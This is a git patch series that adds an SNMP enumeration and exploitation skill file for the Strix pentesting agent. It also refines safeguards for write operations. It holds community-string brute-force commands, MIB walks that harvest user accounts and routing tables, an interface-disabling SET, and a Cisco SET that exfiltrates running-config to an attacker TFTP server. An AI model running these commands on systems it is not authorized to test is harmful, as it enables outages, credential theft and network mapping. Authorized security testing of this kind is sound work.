From 15fb14bf610bb75005c6426f4ba1d0b8346bc369 Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Fri, 7 Aug 2026 00:33:43 +0530 Subject: [PATCH 1/7] feat(skills): add SNMP enumeration and exploitation skill Covers community string guessing, MIB walking, write access abuse, SNMPv3 weaknesses, credential extraction, and trap abuse. Closes #993 --- strix/skills/protocols/snmp.md | 228 +++++++++++++++++++++++++++++++++ 1 file changed, 228 insertions(+) create mode 100644 strix/skills/protocols/snmp.md diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md new file mode 100644 index 00000000..a8ce9656 --- /dev/null +++ b/strix/skills/protocols/snmp.md @@ -0,0 +1,228 @@ +--- +name: snmp +description: SNMP enumeration and exploitation covering community string guessing, MIB walking, write access abuse, and v1/v2c/v3 authentication weaknesses +--- + +# SNMP + +Simple Network Management Protocol exposes device configuration, network topology, credentials, and operational state. Default or weak community strings remain pervasive — a single readable community string can map an entire network, and a writable one can reconfigure routing, disable interfaces, or extract credentials. SNMP v1/v2c send community strings in cleartext; v3 adds authentication and encryption but is frequently misconfigured. + +## Attack Surface + +**Ports** +- UDP 161 (agent — queries) +- UDP 162 (trap receiver — notifications) +- TCP 161/162 (less common but supported) + +**Versions** +- v1: cleartext community string, no encryption, no message integrity +- v2c: cleartext community string, bulk operations, improved error handling +- v3: username/password authentication (MD5/SHA), optional encryption (DES/AES), but often deployed with `noAuthNoPriv` or weak credentials + +**Common Targets** +- Network devices: routers, switches, firewalls, load balancers +- Printers and IoT devices +- UPS and environmental monitoring systems +- Servers with SNMP agents (Net-SNMP, Windows SNMP service) +- Managed PDUs and IPMI/BMC interfaces + +## Reconnaissance + +### Discovery + +**Port Scanning** +```bash +# UDP scan for SNMP +nmap -sU -p 161,162 --open -T4 + +# With version detection +nmap -sU -p 161 -sV --script snmp-info +``` + +**Broadcast/Multicast Discovery** +```bash +# Broadcast SNMP query (local subnet) +nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt /24 +``` + +### Community String Guessing + +**Default Strings to Test** +``` +public, private, community, snmpd, admin, default, monitor +read, write, secret, cisco, router, switch, internal +, , +``` + +**Automated Guessing** +```bash +# Nmap brute force +nmap -sU -p 161 --script snmp-brute + +# With custom wordlist +nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=communities.txt + +# onesixtyone — fast community string scanner +onesixtyone -c communities.txt -i targets.txt + +# hydra +hydra -P communities.txt snmp +``` + +**SNMPv3 User Enumeration** +```bash +# Enumerate valid usernames (timing difference on auth failure vs unknown user) +nmap -sU -p 161 --script snmp-v3-brute +``` + +## Key Vulnerabilities + +### Information Disclosure via MIB Walking + +Once a valid read community string is found, walk the entire MIB tree: + +```bash +# Full MIB walk +snmpwalk -v2c -c + +# System information +snmpwalk -v2c -c 1.3.6.1.2.1.1 # sysDescr, sysName, sysLocation + +# Network interfaces +snmpwalk -v2c -c 1.3.6.1.2.1.2 # ifTable + +# Routing table +snmpwalk -v2c -c 1.3.6.1.2.1.4.21 # ipRouteTable + +# ARP table +snmpwalk -v2c -c 1.3.6.1.2.1.4.22 # ipNetToMediaTable + +# TCP connections +snmpwalk -v2c -c 1.3.6.1.2.1.6.13 # tcpConnTable + +# Running processes (Unix) +snmpwalk -v2c -c 1.3.6.1.2.1.25.4 # hrSWRunTable + +# Installed software +snmpwalk -v2c -c 1.3.6.1.2.1.25.6 # hrSWInstalledTable + +# Storage/disk usage +snmpwalk -v2c -c 1.3.6.1.2.1.25.2 # hrStorageTable + +# User accounts (Windows) +snmpwalk -v2c -c 1.3.6.1.4.1.77.1.2.25 # winUserTable +``` + +**High-Value OIDs** + +| OID | Data | +|-----|------| +| `1.3.6.1.2.1.1.1.0` | System description (OS, version) | +| `1.3.6.1.2.1.1.5.0` | Hostname | +| `1.3.6.1.2.1.1.4.0` | Contact (often reveals admin info) | +| `1.3.6.1.2.1.1.6.0` | Location | +| `1.3.6.1.2.1.2.2` | Network interfaces (IPs, MACs, status) | +| `1.3.6.1.4.1.77.1.2.25` | Windows user accounts | +| `1.3.6.1.2.1.25.4.2.1.2` | Running processes | +| `1.3.6.1.2.1.6.13.1.3` | Listening TCP ports | + +### Write Access Exploitation + +If a write community string (`private`, `write`, etc.) is found: + +**Router/Switch Reconfiguration** +```bash +# Change system name +snmpset -v2c -c 1.3.6.1.2.1.1.5.0 s "PWNED" + +# Disable an interface (operational disruption) +snmpset -v2c -c 1.3.6.1.2.1.2.2.1.7. i 2 +``` + +**TFTP Configuration Download (Cisco)** +```bash +# Trigger config backup to attacker TFTP server +snmpset -v2c -c 1.3.6.1.4.1.9.2.1.55. s running-config +``` +This retrieves the full router configuration including enable passwords, VPN keys, and ACLs. + +**Credential Extraction** +- Cisco running-config via TFTP contains cleartext or weakly encrypted passwords +- Net-SNMP extend scripts may expose credentials in process arguments +- SNMP v3 credentials stored in `/etc/snmp/snmpd.conf` readable via process/file MIBs + +### SNMPv3 Weaknesses + +**noAuthNoPriv Mode** +- v3 configured without authentication — equivalent to v1/v2c +- Test: `snmpwalk -v3 -l noAuthNoPriv -u ` + +**Weak Authentication** +- MD5 auth with short/default passwords +- No encryption (authNoPriv) — credentials visible on wire +- DES encryption (known weak) instead of AES + +**Username Enumeration** +- Different error responses for valid vs invalid usernames +- Default usernames: `initial`, `admin`, `root`, `snmpuser`, `monitor` + +### SNMP Trap Abuse + +**Unauthorized Trap Receiver** +- If trap community string is known, inject fake traps to monitoring systems +- Can trigger automated remediation workflows (restart services, failover) + +**Trap Interception** +- v1/v2c traps contain community string in cleartext +- Capture on-wire to obtain valid community strings + +## Testing Methodology + +1. **Discover** — UDP scan for port 161/162 across target range +2. **Version detection** — Identify SNMP version(s) supported; check for v1/v2c cleartext +3. **Community brute force** — Test default and common strings; include hostname/domain variants +4. **Read enumeration** — Walk full MIB tree with valid read community; catalog exposed data +5. **Write test** — Check if read community also has write access; test with benign SET (sysContact) +6. **v3 assessment** — Test noAuthNoPriv, enumerate usernames, check auth/priv algorithms +7. **Network mapping** — Extract routing tables, ARP, interfaces to map internal network +8. **Credential harvest** — Look for passwords in process tables, config files, SNMP user tables +9. **Trap analysis** — Check trap receiver configuration; test for unauthorized trap injection + +## Validation + +1. **Community string confirmed** — Show successful snmpwalk output with the discovered community string; include sysDescr and sysName as proof +2. **Information disclosure** — Demonstrate specific sensitive data retrieved: user accounts, network topology, running processes, or credentials +3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change. **Do not modify operational parameters (interfaces, routes) without operator approval** +4. **v3 weakness** — Show noAuthNoPriv access or successful auth with weak/default credentials +5. Provide exact commands used and sanitized output + +## False Positives + +- SNMP agent responds but MIB tree contains only generic system info with no sensitive data +- Community string works but ACLs restrict accessible OIDs to non-sensitive subtrees +- v3 with authPriv (AES) and strong passwords — brute force unsuccessful and properly configured +- SNMP port open but only accepts connections from specific management IPs (ACL-filtered) +- Write community exists but snmpset is restricted by view-based access control (VACM) + +## Impact + +- **Network topology disclosure** — Routing tables, ARP caches, and interface lists reveal internal network architecture +- **Credential extraction** — Router configs (via TFTP), process arguments, and user tables expose passwords +- **Device reconfiguration** — Write access enables interface shutdown, route manipulation, ACL modification +- **Lateral movement** — Discovered internal IPs, subnets, and VPN configurations enable pivoting +- **Monitoring subversion** — Fake trap injection triggers false alerts or malicious automated responses +- **Compliance violation** — SNMP v1/v2c cleartext on a network violates PCI DSS, HIPAA, and most security frameworks + +## Pro Tips + +1. Always test UDP — SNMP is primarily UDP; TCP-only scans miss it entirely +2. Try the hostname and domain name as community strings — admins frequently use these +3. On Cisco devices, a valid write community + TFTP can extract the entire running configuration including secrets +4. Windows SNMP service with default `public` community exposes user accounts, installed software, and services +5. Check for SNMP on non-standard ports — some devices use 1161, 10161, or other alternatives +6. Net-SNMP `extend` directives execute arbitrary commands and expose output via SNMP — check `nsExtendTable` (OID `1.3.6.1.4.1.8072.1.3.2`) +7. In segmented networks, SNMP from a compromised host can map subnets the attacker can't directly reach + +## Summary + +SNMP v1/v2c with default community strings remains one of the most reliable network-layer findings. A single valid community string yields system details, network topology, and often credentials. Write access enables device reconfiguration and config extraction. Upgrade to v3 with authPriv (SHA+AES), use strong unique passwords, restrict SNMP access via ACLs, and disable v1/v2c entirely. From 504615e820e05ce67ce177e43b9a3f850dc14268 Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Fri, 7 Aug 2026 00:56:56 +0530 Subject: [PATCH 2/7] fix(skills): address Greptile review feedback on SNMP skill - Move operator approval warning BEFORE destructive SET examples so agents encounter the gate before the commands - Add safe autonomous write confirmation using benign sysContact - Fix authNoPriv description: scoped PDU data is unencrypted, but auth passwords are NOT transmitted in plaintext (HMAC-based) - Add Tooling section documenting prerequisites (snmp package, onesixtyone) and noting nmap NSE scripts need no installation --- strix/skills/protocols/snmp.md | 40 ++++++++++++++++++++++++++++------ 1 file changed, 33 insertions(+), 7 deletions(-) diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md index a8ce9656..35c9fc2d 100644 --- a/strix/skills/protocols/snmp.md +++ b/strix/skills/protocols/snmp.md @@ -130,17 +130,25 @@ snmpwalk -v2c -c 1.3.6.1.4.1.77.1.2.25 # winUserTable If a write community string (`private`, `write`, etc.) is found: -**Router/Switch Reconfiguration** -```bash -# Change system name -snmpset -v2c -c 1.3.6.1.2.1.1.5.0 s "PWNED" +> **Operator approval required for all write operations below.** Autonomous agents must NOT execute destructive SNMP SET commands without explicit operator authorization. Use only the benign `sysContact` change (shown in the Validation section) for autonomous write-access confirmation. -# Disable an interface (operational disruption) +**Safe Write Confirmation (autonomous)** +```bash +# Benign validation: change sysContact to prove write access +snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "strix_write_test" +snmpget -v2c -c 1.3.6.1.2.1.1.4.0 # Confirm change +``` + +**Destructive Operations (operator approval required)** +```bash +# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL +# Disable an interface (causes outage) snmpset -v2c -c 1.3.6.1.2.1.2.2.1.7. i 2 ``` -**TFTP Configuration Download (Cisco)** +**TFTP Configuration Download — Cisco (operator approval required)** ```bash +# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL — extracts sensitive configuration # Trigger config backup to attacker TFTP server snmpset -v2c -c 1.3.6.1.4.1.9.2.1.55. s running-config ``` @@ -159,7 +167,7 @@ This retrieves the full router configuration including enable passwords, VPN key **Weak Authentication** - MD5 auth with short/default passwords -- No encryption (authNoPriv) — credentials visible on wire +- No encryption (authNoPriv) — scoped PDU data visible on wire (note: authentication passwords are NOT transmitted in plaintext under authNoPriv; the HMAC-based auth protects credentials, but management data traversing the wire is unencrypted) - DES encryption (known weak) instead of AES **Username Enumeration** @@ -213,6 +221,24 @@ This retrieves the full router configuration including enable passwords, VPN key - **Monitoring subversion** — Fake trap injection triggers false alerts or malicious automated responses - **Compliance violation** — SNMP v1/v2c cleartext on a network violates PCI DSS, HIPAA, and most security frameworks +## Tooling + +The Strix sandbox includes `nmap` (with NSE scripts). Additional tools may need installation: + +```bash +# Net-SNMP tools (snmpwalk, snmpset, snmpget, snmpbulkwalk) +apt-get install -y snmp + +# onesixtyone — fast community string scanner +apt-get install -y onesixtyone + +# Community string wordlists +# SecLists: /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt +# If not available, use nmap's built-in snmp-brute script (no external wordlist needed) +``` + +Prefer `nmap` NSE scripts (`snmp-brute`, `snmp-info`, `snmp-v3-brute`) as the primary approach since they require no additional installation. + ## Pro Tips 1. Always test UDP — SNMP is primarily UDP; TCP-only scans miss it entirely From 41d2e24db2a46442886405b6f9e5b9c5c36cbddf Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Thu, 13 Aug 2026 01:11:53 +0530 Subject: [PATCH 3/7] fix(skills): restore original sysContact after SNMP write validation Autonomous write-access confirmation now captures the original value before the SET and restores it afterwards, so validation leaves the device unchanged. Also documents the hydra prerequisite for the community-string guessing example. --- strix/skills/protocols/snmp.md | 25 ++++++++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md index 35c9fc2d..e3c1a324 100644 --- a/strix/skills/protocols/snmp.md +++ b/strix/skills/protocols/snmp.md @@ -133,12 +133,28 @@ If a write community string (`private`, `write`, etc.) is found: > **Operator approval required for all write operations below.** Autonomous agents must NOT execute destructive SNMP SET commands without explicit operator authorization. Use only the benign `sysContact` change (shown in the Validation section) for autonomous write-access confirmation. **Safe Write Confirmation (autonomous)** + +Write validation must leave the device exactly as it was found. Always capture the original value first and restore it immediately after confirming the write. + ```bash -# Benign validation: change sysContact to prove write access +# 1. Capture the original sysContact — required before any SET +ORIGINAL=$(snmpget -v2c -c -Ovq 1.3.6.1.2.1.1.4.0) + +# 2. Benign validation: change sysContact to prove write access snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "strix_write_test" -snmpget -v2c -c 1.3.6.1.2.1.1.4.0 # Confirm change + +# 3. Confirm the change took effect (this is the evidence to report) +snmpget -v2c -c 1.3.6.1.2.1.1.4.0 + +# 4. Restore the original value — mandatory, even if step 3 failed +snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "$ORIGINAL" + +# 5. Verify restoration; if it did not restore, surface this to the operator immediately +snmpget -v2c -c 1.3.6.1.2.1.1.4.0 ``` +If the original `sysContact` was empty, restore it to an empty string (`s ""`). If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. Report the write finding with the evidence from step 3 and note that the value was restored. + **Destructive Operations (operator approval required)** ```bash # ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL @@ -200,7 +216,7 @@ This retrieves the full router configuration including enable passwords, VPN key 1. **Community string confirmed** — Show successful snmpwalk output with the discovered community string; include sysDescr and sysName as proof 2. **Information disclosure** — Demonstrate specific sensitive data retrieved: user accounts, network topology, running processes, or credentials -3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change. **Do not modify operational parameters (interfaces, routes) without operator approval** +3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Do not modify operational parameters (interfaces, routes) without operator approval** 4. **v3 weakness** — Show noAuthNoPriv access or successful auth with weak/default credentials 5. Provide exact commands used and sanitized output @@ -232,6 +248,9 @@ apt-get install -y snmp # onesixtyone — fast community string scanner apt-get install -y onesixtyone +# hydra — required for the `hydra -P communities.txt snmp` example above +apt-get install -y hydra + # Community string wordlists # SecLists: /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt # If not available, use nmap's built-in snmp-brute script (no external wordlist needed) From b074a5455034c2c24c3ce636ff9d874268f10232 Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Thu, 13 Aug 2026 01:18:10 +0530 Subject: [PATCH 4/7] fix(skills): make destructive SNMP SETs a prohibition, not an approval gate The system prompt instructs agents never to ask for or wait for approval, so an operator-approval callout does not gate anything. Interface shutdown and TFTP config transfer are now marked reference only and never executed autonomously; write access is established with the benign sysContact SET and the rest is reported, not demonstrated. --- strix/skills/protocols/snmp.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md index e3c1a324..bc7eea7c 100644 --- a/strix/skills/protocols/snmp.md +++ b/strix/skills/protocols/snmp.md @@ -130,7 +130,7 @@ snmpwalk -v2c -c 1.3.6.1.4.1.77.1.2.25 # winUserTable If a write community string (`private`, `write`, etc.) is found: -> **Operator approval required for all write operations below.** Autonomous agents must NOT execute destructive SNMP SET commands without explicit operator authorization. Use only the benign `sysContact` change (shown in the Validation section) for autonomous write-access confirmation. +> **Never execute the destructive SET commands below.** This is a hard prohibition on autonomous execution, not a request for approval — being in scope does not make an outage or a config exfiltration acceptable. The only SET an agent may issue is the benign `sysContact` change shown below, which must be restored afterwards. The destructive commands are documented so you can recognise and report the exposure; establish write access with `sysContact`, then report what the write community would permit. Do not demonstrate it. **Safe Write Confirmation (autonomous)** @@ -155,16 +155,16 @@ snmpget -v2c -c 1.3.6.1.2.1.1.4.0 If the original `sysContact` was empty, restore it to an empty string (`s ""`). If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. Report the write finding with the evidence from step 3 and note that the value was restored. -**Destructive Operations (operator approval required)** +**Destructive Operations — document, never execute** ```bash -# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL +# ⚠️ REFERENCE ONLY — never run autonomously; causes an outage # Disable an interface (causes outage) snmpset -v2c -c 1.3.6.1.2.1.2.2.1.7. i 2 ``` -**TFTP Configuration Download — Cisco (operator approval required)** +**TFTP Configuration Download — Cisco (document, never execute)** ```bash -# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL — extracts sensitive configuration +# ⚠️ REFERENCE ONLY — never run autonomously; exfiltrates sensitive configuration # Trigger config backup to attacker TFTP server snmpset -v2c -c 1.3.6.1.4.1.9.2.1.55. s running-config ``` @@ -216,7 +216,7 @@ This retrieves the full router configuration including enable passwords, VPN key 1. **Community string confirmed** — Show successful snmpwalk output with the discovered community string; include sysDescr and sysName as proof 2. **Information disclosure** — Demonstrate specific sensitive data retrieved: user accounts, network topology, running processes, or credentials -3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Do not modify operational parameters (interfaces, routes) without operator approval** +3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Never modify operational parameters (interfaces, routes) — report the exposure instead of demonstrating it** 4. **v3 weakness** — Show noAuthNoPriv access or successful auth with weak/default credentials 5. Provide exact commands used and sanitized output From 9dd25e85c3016a885ab4b3fda1180c127888c3db Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Thu, 13 Aug 2026 01:23:06 +0530 Subject: [PATCH 5/7] fix(skills): restore sysContact byte-exact via hex, not display output snmpget renders values for humans - non-printable bytes come back as a hex dump and some builds quote printable strings - so replaying that output with 'snmpset s' writes the formatting into the device as data. Capture and restore with the hex form instead, and verify the restored bytes match the captured original before continuing. --- strix/skills/protocols/snmp.md | 28 +++++++++++++++++++--------- 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md index bc7eea7c..4e482e11 100644 --- a/strix/skills/protocols/snmp.md +++ b/strix/skills/protocols/snmp.md @@ -137,23 +137,33 @@ If a write community string (`private`, `write`, etc.) is found: Write validation must leave the device exactly as it was found. Always capture the original value first and restore it immediately after confirming the write. ```bash -# 1. Capture the original sysContact — required before any SET -ORIGINAL=$(snmpget -v2c -c -Ovq 1.3.6.1.2.1.1.4.0) +# 1. Capture the original sysContact as raw bytes. -Oqv strips the type prefix, +# -Ob and the hex form avoid locale/display rewriting of the value. +ORIGINAL=$(snmpget -v2c -c -Oqv 1.3.6.1.2.1.1.4.0) +ORIGINAL_HEX=$(snmpget -v2c -c -Oqvx 1.3.6.1.2.1.1.4.0) -# 2. Benign validation: change sysContact to prove write access +# 2. Confirm the captured value round-trips before touching anything. +# If ORIGINAL is empty, is rendered as a hex dump, or is wrapped in display +# quotes, it is NOT safe to replay as a string — use the hex form in step 4. + +# 3. Benign validation: change sysContact to prove write access snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "strix_write_test" -# 3. Confirm the change took effect (this is the evidence to report) +# 4. Confirm the change took effect (this is the evidence to report) snmpget -v2c -c 1.3.6.1.2.1.1.4.0 -# 4. Restore the original value — mandatory, even if step 3 failed -snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "$ORIGINAL" +# 5. Restore — mandatory, even if step 4 failed. Prefer the hex form, which is +# byte-exact and immune to display formatting: +snmpset -v2c -c 1.3.6.1.2.1.1.4.0 x "$ORIGINAL_HEX" -# 5. Verify restoration; if it did not restore, surface this to the operator immediately -snmpget -v2c -c 1.3.6.1.2.1.1.4.0 +# 6. Verify byte-for-byte restoration against the captured original +RESTORED_HEX=$(snmpget -v2c -c -Oqvx 1.3.6.1.2.1.1.4.0) +[ "$RESTORED_HEX" = "$ORIGINAL_HEX" ] || echo "RESTORE FAILED — surface to operator" ``` -If the original `sysContact` was empty, restore it to an empty string (`s ""`). If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. Report the write finding with the evidence from step 3 and note that the value was restored. +Restore with the hex form (`x "$ORIGINAL_HEX"`), not the display string. Net-SNMP renders values for humans: a value containing non-printable bytes comes back as a hex dump, and some builds wrap printable strings in quotes. Replaying that display output with `s` writes the formatting itself into the device as data — the exact case where a "benign" validation leaves the target modified. + +If the original `sysContact` was empty, restore it to an empty string (`s ""`). If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. If step 6 reports a mismatch, stop and surface it immediately; do not continue testing with the device left in a modified state. Report the write finding with the evidence from step 4 and state that the value was restored and verified. **Destructive Operations — document, never execute** ```bash From 7422feb7fec76eb7a768c0b77292d36b4fab985e Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Thu, 13 Aug 2026 01:28:31 +0530 Subject: [PATCH 6/7] fix(skills): handle empty sysContact in SNMP restore path snmpset type x cannot express an empty OCTET STRING, so an originally empty sysContact could not be restored by the hex path. Branch to the empty string form for that case; the verification compare still holds since both sides are empty. --- strix/skills/protocols/snmp.md | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md index 4e482e11..847fdd0b 100644 --- a/strix/skills/protocols/snmp.md +++ b/strix/skills/protocols/snmp.md @@ -152,9 +152,14 @@ snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "strix_write_test # 4. Confirm the change took effect (this is the evidence to report) snmpget -v2c -c 1.3.6.1.2.1.1.4.0 -# 5. Restore — mandatory, even if step 4 failed. Prefer the hex form, which is -# byte-exact and immune to display formatting: -snmpset -v2c -c 1.3.6.1.2.1.1.4.0 x "$ORIGINAL_HEX" +# 5. Restore — mandatory, even if step 4 failed. The hex form is byte-exact and +# immune to display formatting, but it cannot represent an empty OCTET +# STRING, so that case must use the empty string form explicitly: +if [ -z "$ORIGINAL_HEX" ]; then + snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "" +else + snmpset -v2c -c 1.3.6.1.2.1.1.4.0 x "$ORIGINAL_HEX" +fi # 6. Verify byte-for-byte restoration against the captured original RESTORED_HEX=$(snmpget -v2c -c -Oqvx 1.3.6.1.2.1.1.4.0) @@ -163,7 +168,7 @@ RESTORED_HEX=$(snmpget -v2c -c -Oqvx 1.3.6.1.2.1.1.4.0 Restore with the hex form (`x "$ORIGINAL_HEX"`), not the display string. Net-SNMP renders values for humans: a value containing non-printable bytes comes back as a hex dump, and some builds wrap printable strings in quotes. Replaying that display output with `s` writes the formatting itself into the device as data — the exact case where a "benign" validation leaves the target modified. -If the original `sysContact` was empty, restore it to an empty string (`s ""`). If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. If step 6 reports a mismatch, stop and surface it immediately; do not continue testing with the device left in a modified state. Report the write finding with the evidence from step 4 and state that the value was restored and verified. +An originally-empty `sysContact` yields an empty `ORIGINAL_HEX`, which `snmpset ... x` cannot express — step 5 branches to `s ""` for that case, and step 6 still compares correctly since both sides are empty. If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. If step 6 reports a mismatch, stop and surface it immediately; do not continue testing with the device left in a modified state. Report the write finding with the evidence from step 4 and state that the value was restored and verified. **Destructive Operations — document, never execute** ```bash From 7f91b2a9ccefb0ea36dbfa91787389552bf0dbc9 Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Thu, 13 Aug 2026 01:32:47 +0530 Subject: [PATCH 7/7] fix(skills): gate SNMP write validation on a successful original capture A failed snmpget returns empty, which is indistinguishable from a genuinely empty sysContact, so the empty-value restore branch would overwrite a real value with an empty one. The capture now aborts on a nonzero exit or an error/timeout response before any SET can run, and the verification step confirms the read succeeded before comparing so a failed read cannot falsely report a successful restore. --- strix/skills/protocols/snmp.md | 58 +++++++++++++++++++++++----------- 1 file changed, 39 insertions(+), 19 deletions(-) diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md index 847fdd0b..9ff5611e 100644 --- a/strix/skills/protocols/snmp.md +++ b/strix/skills/protocols/snmp.md @@ -137,38 +137,58 @@ If a write community string (`private`, `write`, etc.) is found: Write validation must leave the device exactly as it was found. Always capture the original value first and restore it immediately after confirming the write. ```bash -# 1. Capture the original sysContact as raw bytes. -Oqv strips the type prefix, -# -Ob and the hex form avoid locale/display rewriting of the value. -ORIGINAL=$(snmpget -v2c -c -Oqv 1.3.6.1.2.1.1.4.0) -ORIGINAL_HEX=$(snmpget -v2c -c -Oqvx 1.3.6.1.2.1.1.4.0) +OID=1.3.6.1.2.1.1.4.0 +RO= +RW= +TARGET= -# 2. Confirm the captured value round-trips before touching anything. -# If ORIGINAL is empty, is rendered as a hex dump, or is wrapped in display -# quotes, it is NOT safe to replay as a string — use the hex form in step 4. +# 1. Capture the original sysContact as raw bytes, and ABORT if the capture +# fails. A timeout, wrong community, or missing instance yields an empty +# result that is indistinguishable from a genuinely empty value — treating +# that as "originally empty" would wipe a real sysContact in step 5. +# -Oqvx strips the type prefix and returns hex, avoiding display rewriting. +if ! ORIGINAL_HEX=$(snmpget -v2c -c "$RO" -Oqvx "$TARGET" "$OID" 2>&1); then + echo "CAPTURE FAILED — do not SET. You cannot restore what you did not capture." + exit 1 +fi +case "$ORIGINAL_HEX" in + *"No Such"*|*Timeout*|*Error*|*error*) + echo "CAPTURE FAILED ($ORIGINAL_HEX) — do not SET."; exit 1 ;; +esac +# Only past this point is a SET permissible. -# 3. Benign validation: change sysContact to prove write access -snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "strix_write_test" +# 2. Benign validation: change sysContact to prove write access +snmpset -v2c -c "$RW" "$TARGET" "$OID" s "strix_write_test" -# 4. Confirm the change took effect (this is the evidence to report) -snmpget -v2c -c 1.3.6.1.2.1.1.4.0 +# 3. Confirm the change took effect (this is the evidence to report) +snmpget -v2c -c "$RO" "$TARGET" "$OID" -# 5. Restore — mandatory, even if step 4 failed. The hex form is byte-exact and +# 4. Restore — mandatory, even if step 3 failed. The hex form is byte-exact and # immune to display formatting, but it cannot represent an empty OCTET -# STRING, so that case must use the empty string form explicitly: +# STRING, so a genuinely empty original uses the empty string form: if [ -z "$ORIGINAL_HEX" ]; then - snmpset -v2c -c 1.3.6.1.2.1.1.4.0 s "" + snmpset -v2c -c "$RW" "$TARGET" "$OID" s "" else - snmpset -v2c -c 1.3.6.1.2.1.1.4.0 x "$ORIGINAL_HEX" + snmpset -v2c -c "$RW" "$TARGET" "$OID" x "$ORIGINAL_HEX" fi -# 6. Verify byte-for-byte restoration against the captured original -RESTORED_HEX=$(snmpget -v2c -c -Oqvx 1.3.6.1.2.1.1.4.0) -[ "$RESTORED_HEX" = "$ORIGINAL_HEX" ] || echo "RESTORE FAILED — surface to operator" +# 5. Verify byte-for-byte restoration. A failed verification read also returns +# empty, so check the read succeeded before trusting the comparison — +# otherwise a failed read would "match" an empty original. +if ! RESTORED_HEX=$(snmpget -v2c -c "$RO" -Oqvx "$TARGET" "$OID" 2>&1); then + echo "VERIFY READ FAILED — device may still be modified. Surface to operator." +elif [ "$RESTORED_HEX" != "$ORIGINAL_HEX" ]; then + echo "RESTORE FAILED — device left modified. Surface to operator." +else + echo "Restored and verified." +fi ``` Restore with the hex form (`x "$ORIGINAL_HEX"`), not the display string. Net-SNMP renders values for humans: a value containing non-printable bytes comes back as a hex dump, and some builds wrap printable strings in quotes. Replaying that display output with `s` writes the formatting itself into the device as data — the exact case where a "benign" validation leaves the target modified. -An originally-empty `sysContact` yields an empty `ORIGINAL_HEX`, which `snmpset ... x` cannot express — step 5 branches to `s ""` for that case, and step 6 still compares correctly since both sides are empty. If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. If step 6 reports a mismatch, stop and surface it immediately; do not continue testing with the device left in a modified state. Report the write finding with the evidence from step 4 and state that the value was restored and verified. +The capture in step 1 is a hard gate: if it fails for any reason, no SET may run. An empty result from a timeout, a wrong read community, or a missing instance looks exactly like a genuinely empty `sysContact`, and letting that reach the empty-value branch in step 4 would overwrite a real value with an empty one. Step 5 likewise checks that the verification read succeeded before comparing, since a failed read returns empty and would otherwise "match" an empty original and falsely report success. + +An originally-empty `sysContact` — captured successfully, but empty — yields an empty `ORIGINAL_HEX`, which `snmpset ... x` cannot express, so step 4 restores it with `s ""`. If step 5 reports a mismatch or a failed read, stop and surface it immediately; do not continue testing with the device left in a modified state. Report the write finding with the evidence from step 3 and state that the value was restored and verified. **Destructive Operations — document, never execute** ```bash